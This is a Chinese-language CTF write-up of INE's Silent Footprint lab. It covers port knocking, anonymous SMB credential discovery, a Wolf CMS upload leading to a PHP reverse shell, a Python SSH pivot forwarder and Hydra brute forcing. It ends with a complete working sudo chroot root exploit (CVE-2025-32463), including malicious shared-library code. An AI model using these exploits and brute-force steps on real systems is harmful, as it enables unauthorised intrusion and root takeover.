INE网络渗透测试CTF实战全解析

本文详细记录了INE Silent Footprint CTF挑战的完整过程,涵盖端口敲门、SMB枚举、Wolf CMS RCE、SSH pivoting和CVE-2025-32463提权等关键技术,展示了从信息收集到权限提升的全链路渗透测试方法。

Silent Footprint CTF by INE

挑战概述

我参加了INE的Silent Footprint CTF,这是一个为期两周的网络渗透测试实验室,包含三个目标主机(ctf.playground.ine、ctf2.playground.ine、ctf3.playground.ine)。本文记录了我的方法论、逐步利用过程以及获得的经验教训。

挑战详情

  • 名称: Silent Footprint
  • 类别: 网络渗透测试
  • 时间: 2025年10月6日至10月20日
  • 参与方式: 个人
  • 目标范围: ctf.playground.ine、ctf2.playground.ine、ctf3.playground.ine

使用工具

nmap、nc、smbclient、gobuster、hydra、ssh、python3(用于pivot脚本)、用于Wolf CMS管理员面板的网页浏览器。

反向Shell: pentestmonkey PHP反向shell

方法论

我遵循结构化的渗透测试流程,从侦察开始,以详细发现步骤结束。

  1. 侦察 → /etc/hosts检查、主机发现和端点发现
  2. 端口和服务枚举 → nmap、nc、gobuster、smbclient
  3. 从暴露文件和共享中获取凭据
  4. 特定服务利用(Web应用RCE、SMB读取、SSH pivoting和SSH密码暴力破解)
  5. 横向移动和权限提升
  6. 捕获flag并记录所有内容

实验室入口:初始发现

我运行ifconfig验证网络配置和IP地址。主机有两个网络接口:

  • eth0 IP地址:10.1.0.2
  • eth1 IP地址:192.x.x.2

然后检查主机并首先验证本地名称解析。在/etc/hosts文件中,找到了指向范围内提到的两个CTF目标的主机映射,但没有找到ctf3.playground.ine的条目。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
┌──(root㉿INE)-[~]
└─# cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.2        INE
127.0.0.1 AttackDefense-Kali
192.x.x.2   INE
192.x.x.2 INE
192.x.x.3 ctf2.playground.ine
192.x.x.4 ctf.playground.ine

对目标执行基本连通性检查(ping):

  • ctf.playground.ine → 可从主机访问
  • ctf2.playground.ine → 可从主机访问
  • ctf3.playground.ine → 无法从主机访问

由于所有目标都应该可达,一个目标不可达令人惊讶。我决定将ctf3的IP地址添加到/etc/hosts文件中。为了识别正确的IP,使用Nmap在192.0.0.0/24子网上运行主机发现扫描。扫描显示4个IP地址,2个已映射到ctf和ctf2,一个属于主机机器,另一个有趣的:192.x.x.1。我将此IP添加到/etc/hosts文件,但ctf3仍然无法访问。

关键命令:

1
nmap -sV 192.0.0.0/24

Flag逐步攻略

Flag 1:SMB公共共享

在枚举ctf.playground.ine时,最初只发现三个TCP端口开放,没有网页或其他明显入口点,也没有发现UDP端口。

初始服务扫描:

1
nmap -sV ctf.playground.ine

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000031s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
1234/tcp open  hotline?
5678/tcp open  rrac?
9101/tcp open  jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)
Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 6.48 seconds

记得CTF经常使用端口敲门来揭示额外服务,我尝试了一个敲门序列。

端口敲门概述

是什么:端口敲门是一种隐蔽的方法,通过要求对预定端口进行特定序列的连接尝试(“敲门”)来隐藏服务在关闭端口后面。当观察到正确序列时,守护进程或防火墙规则会暂时为敲门主机打开一个端口(例如SSH)。

为什么使用它

  • 在服务可见之前添加额外的认证因素
  • 通过保持服务对随意扫描器不可见来减少攻击面
  • 在便利性胜过复杂性的CTF和小型部署中有用

工作原理

  • 客户端按正确顺序向端口序列(TCP/UDP)发送连接尝试
  • 监听器监控数据包日志或原始套接字
  • 如果序列匹配,监听器修改防火墙规则以允许客户端IP在有限时间内访问受保护服务

简单示例

1
knock -v target.example.com 7000 8000 9000 tcp

常见工具

  • knock(客户端)
  • knockd(守护进程)
  • fwknop(具有单包授权的端口敲门 - 更安全)
  • 防火墙工具:iptables/nftables用于规则更改

端口敲门尝试:

1
knock -v 192.x.x.4 1234 5678 9101 tcp

敲门后,我重新扫描了目标。

后续扫描命令:

1
nmap -sV ctf.playground.ine

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000027s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
445/tcp  open  netbios-ssn Samba smbd 4.6.2
1234/tcp open  hotline?
5678/tcp open  rrac?
9101/tcp open  jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)
Service detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds

如何发现:端口445/tcp上的Samba服务在端口敲门后出现,第二次Nmap扫描显示netbios-ssn(Samba smbd 4.6.2)在ctf.playground.ine上开放。

SMB枚举

枚举SMB服务:

1
smbclient -L ctf.playground.ine

输出:

1
2
3
4
5
6
7
8
9
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk              
        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to ctf.playground.ine failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available

扫描显示有公共共享可用。SMB客户端尝试SMB1回退进行工作组列表但失败,共享本身仍可匿名访问。

访问公共共享(无需密码):

1
smbclient //ctf.playground.ine/public

交互会话输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep 30 15:54:26 2025
  ..                                  D        0  Tue Sep 30 15:54:26 2025

  flag.txt                            N       33  Tue Sep 30 15:54:26 2025
  endpoint.txt                        N       35  Tue Sep 30 15:54:26 2025

                1981311780 blocks of size 1024. 67619856 blocks available
smb: \> mget *


Get file flag.txt? y
getting file \flag.txt of size 33 as flag.txt (32.2 KiloBytes/sec) (average 19.9 KiloBytes/sec)
Get file endpoint.txt? y
getting file \endpoint.txt of size 35 as endpoint.txt (17.1 KiloBytes/sec) (average 18.8 KiloBytes/sec)
smb: \> exit

在SMB共享上看到endpoint.txt,其中包含应用程序端点和凭据:robert:password1,这对后来的Web访问至关重要。

robert/password1用于/?/端点。

公共共享允许匿名访问并包含flag.txt。

Flag 1: 3988bc2138f8c43f62d42bf620fbf5ff

Flag 2:Web flag → Wolf CMS RCE

提示:检查ctf2.playground.ine上的应用程序文件夹,在项目布局或配置文件中找到隐藏的flag。

注意:从ctf.playground.ine的SMB endpoint.txt找到的凭据: robert/password1用于/?/端点。

Nmap → 目标ctf2.playground.ine:

1
nmap -sV ctf2.playground.ine

输出:

1
2
3
4
5
6
7
8
9
Nmap scan report for ctf2.playground.ine (192.x.x.3)
Host is up (0.000027s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open  mysql   MySQL 5.5.47-0ubuntu0.14.04.1
MAC Address: 02:42:C0:F5:71:03 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds

发现端口80和端口3306。

端口3306 → MySQL无法连接。

Web枚举http://ctf2.playground.ine/

在网站上检测到Wolf CMS。

使用Gobuster进行目录暴力破解:

1
gobuster dir -u http://ctf2.playground.ine/ -w /usr/share/wordlists/dirb/common.txt

显著发现:

1
2
3
4
/.git          (Status: 200) [Size: 23]
/flag          (Status: 200) [Size: 33]  -> contains the flag
/public        (Status: 301) [Size: 326] [--> http://ctf2.playground.ine/public/]
/docs                 (Status: 301) [Size: 324] [--> http://ctf2.playground.ine/docs/]

http://ctf2.playground.ine/flag返回flag:

Flag 2: 17189f8af3efbca5511198c84bbf1e6d

检查端点/?/(来自endpoint.txt)

由于SMB endpoint.txt引用了/?/,枚举该路径:

1
gobuster dir -u http://ctf2.playground.ine/?/ -w /usr/share/wordlists/dirb/common.txt

输出:

1
/admin  -> redirects to /?/admin/login   (Wolf CMS admin login)

使用SMB凭据登录Wolf CMS

使用从SMB共享获得的凭据:

  • 用户名:robert
  • 密码:password1

登录成功,robert具有足够权限(开发者)访问文件区域。

利用(Wolf CMS文件上传/创建)

Wolf CMS 0.8.1已知允许经过认证的开发者/管理员创建/上传任意文件(CVE-2015-6567)来获取反向Shell。

采取步骤

  1. 导航到文件 → 在CMS中创建新文件
  2. 创建shell.php
  3. 复制pentest monkey反向shell并粘贴到shell文件中
  4. 检查攻击者IP:ifconfig eth1
  5. 更改PHP中的IP
  6. 然后点击保存
  7. 现在,在攻击者机器上设置反向shell监听器:nc -lvnp 1234
  8. 通过http://ctf2.playground.ine/public/shell.php访问上传的文件以触发shell

升级shell:

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + z
stty raw -echo; fg
stty rows 38 columns 116

结果:在ctf2.playground.ine上获得交互式shell。

Flag 3:通过端口转发从ctf2到ctf3的SSH pivot

摘要

在隐藏服务上仅发现SSH后,我使用nc从ctf2扫描端口,在ctf2上创建SSH端口转发以访问ctf3,并使用rockyou-40.txt通过Hydra暴力破解nicole账户。找到的凭据允许SSH登录,cat flag.txt显示flag。

侦察 → 使用nc进行端口扫描(无nmap可用)

首先验证ctf3是否可以从ctf2访问:

1
ping -c 2 ctf3.playground.ine

主机响应,我注意到解析的IP地址,确认ctf2可以访问ctf3。

使用nc进行完整TCP端口扫描:

1
nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"

示例输出:

1
2
3
www-data@ctf2:/$ nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"
Connection to 192.x.x.3 22 port [tcp/ssh] succeeded!
www-data@ctf2:/$

通过ctf2进行端口转发

由于ctf3仅暴露SSH且无法直接从主机访问进行密码暴力破解,我在ctf2上设置了一个简单的TCP转发器,将本地端口2222转发到ctf3:22。

ctf2上的转发器脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# on ctf2
cat > /tmp/forward_ssh.py <<'PY'
#!/usr/bin/env python3
import socket, threading, sys

LISTEN_HOST = '0.0.0.0'
LISTEN_PORT = 2222
REMOTE_HOST = 'ctf3-IP' #change here
REMOTE_PORT = 22

def handle(client_sock):
    try:
        remote = socket.socket()
        remote.connect((REMOTE_HOST, REMOTE_PORT))
    except Exception:
        client_sock.close()
        return

    def forward(src, dst):
        try:
            while True:
                data = src.recv(4096)
                if not data:
                    break
                dst.sendall(data)
        except Exception:
            pass
        finally:
            try: src.shutdown(socket.SHUT_RD)
            except Exception: pass

    t1 = threading.Thread(target=forward, args=(client_sock, remote), daemon=True)
    t2 = threading.Thread(target=forward, args=(remote, client_sock), daemon=True)
    t1.start(); t2.start()
    t1.join(); t2.join()
    client_sock.close(); remote.close()

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((LISTEN_HOST, LISTEN_PORT))
    s.listen(5)
    while True:
        c, a = s.accept()
        threading.Thread(target=handle, args=(c,), daemon=True).start()

if __name__ == '__main__':
    main()
PY

nohup python3 /tmp/forward_ssh.py >/dev/null 2>&1 &

这使得ctf2:2222转发到ctf3:22,现在ctf3可以通过ctf2 IP从主机访问。

暴力破解SSH(Hydra)

从主机机器,目标ctf2上的转发端口,并使用rockyou-40.txt暴力破解nicole账户:

1
hydra -l nicole -P /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-40.txt ctf2.playground.ine ssh -s 2222

Hydra找到凭据: Nicole : hahaha

SSH进入转发端口并捕获flag

SSH到ctf2上的转发端口(2222),该端口代理到ctf3:

1
ssh nicole@ctf2.playground.ine -p 2222

登录后:

1
cat flag.txt

Flag 3: adc23dd70102ea29dc2c38d9b122ce2e

Flag 4:通过CVE-2025-32463进行权限提升

在任何权限提升场景中,第一步是枚举。了解我们拥有的权限以及在系统上运行的软件版本以找到弱点。

步骤1:检查Sudo版本

主要目标是sudo,因为它是从用户提升到root的最常见向量。

1
sudo -V

输出:

1
2
3
4
5
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2

关键信息是Sudo版本1.9.16p2。快速搜索此特定版本后,找到了CVE-2025-32463。

步骤2:检查名称服务切换(NSS)

此CVE的利用涉及欺骗/etc/nsswitch.conf控制Linux查找用户、组、主机等的方式。它告诉系统在哪里搜索,如文件、systemd或dns。如果攻击者更改它(在chroot中),sudo可能加载假库,如果使用sudo -R,默认情况下会打开到root的路径。

我们检查其配置:

1
cat /etc/nsswitch.conf

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd winbind
group:          files systemd winbind
shadow:         files systemd
gshadow:        files systemd
hosts:          files mdns4_minimal [NOTFOUND=return] dns
networks:       files
protocols:      db files
services:       db files
ethers:         db files
rpc:            db files
netgroup:       nis

这是一个经典的权限提升挑战。使用-R(或–chroot)标志在chroot环境中运行特定命令。我们的目标是突破此有限权限并在主机系统上获得完整的root shell。

整个攻击依赖于在我们构建的自定义chroot环境中毒化名称服务切换(NSS)配置。

步骤3:Payload(payload.c)

第一步是创建我们的恶意payload。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
cat > payload.c << EOF
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void root_access(void) {
    setuid(0);
    setgid(0);
    chdir("/");
    execl("/bin/bash", "bash", "-p", NULL);
}
EOF

发生了什么

  • cat > payload.c:命令创建一个名为payload.c的新C文件,其中包含以下代码
  • __attribute__((constructor)):关键GCC特性。它告诉C库在代码加载到内存时自动运行root_access函数
  • root_access(void):这是我们的恶意函数
  • setuid(0)setgid(0):这些函数将进程的用户ID和组ID设置为0
  • chdir("/"):将目录更改为主机系统的真实根目录,有效突破chroot jail
  • execl("/bin/bash", "bash", "-p", NULL):这是最后一步。它用新的/bin/bash shell替换当前进程

步骤4:构建恶意Chroot Jail

这是利用的核心。我们创建一个假的"jail"目录(woot)来欺骗sudo。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# The main chroot directory
mkdir woot

# The /etc directory inside the jail
mkdir -p woot/etc

# A directory to hold our malicious library (staging)
mkdir libnss_

# Create the malicious nsswitch.conf
echo "passwd: /woot1337" > woot/etc/nsswitch.conf

# Copy the group file
cp /etc/group woot/etc/

发生了什么

  • echo "passwd: /woot1337" > woot/etc/nsswitch.conf:这是最重要的命令。我们在假jail中创建一个新的nsswitch.conf文件
  • 我们告诉任何在此jail中运行的程序:“当需要查找任何密码或用户信息时,必须加载位于绝对路径/woot1337的库”
  • cp /etc/group woot/etc/:这将系统的真实组文件复制到jail中

步骤5:将Payload编译为共享库

接下来,将此C代码编译为共享库,而不是普通程序。

1
gcc -shared -fPIC -o libnss_/woot1337.so.2 payload.c

发生了什么

  • gcc ...:C编译器
  • -shared:告诉gcc创建共享库
  • -fPIC:位置无关代码,共享库必需
  • -o libnss_/woot1337.so.2:设置输出文件名

步骤6:触发器

最后,执行我们有权限的sudo命令。

1
sudo -R ./woot woot

发生了什么

  • 我们执行sudo,它以root权限启动
  • -R ./woot标志告诉sudo chroot到我们的./woot目录
  • 在此jail内,sudo尝试运行woot命令
  • 为了完成工作,sudo需要执行用户查找
  • 它首先读取/etc/nsswitch.conf的配置文件
  • 我们的配置文件指示它从/woot1337加载"密码数据库"
  • 系统的C库顺从地将我们的woot1337共享库加载到内存中
  • 我们的root_access函数运行,设置setuid(0)、setgid(0),突破chroot并生成持久的root shell

在主机系统上获得root shell,并捕获Flag 4。

1
cat /root/flag.txt

Flag 4(root): c124d2fd5c00281e0886efff5e6ce209

可重现性和工件

我在工作时保留了命令历史记录并保存了flag和截图。发布时,包含清理过的截图(IP匿名化或编辑)。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计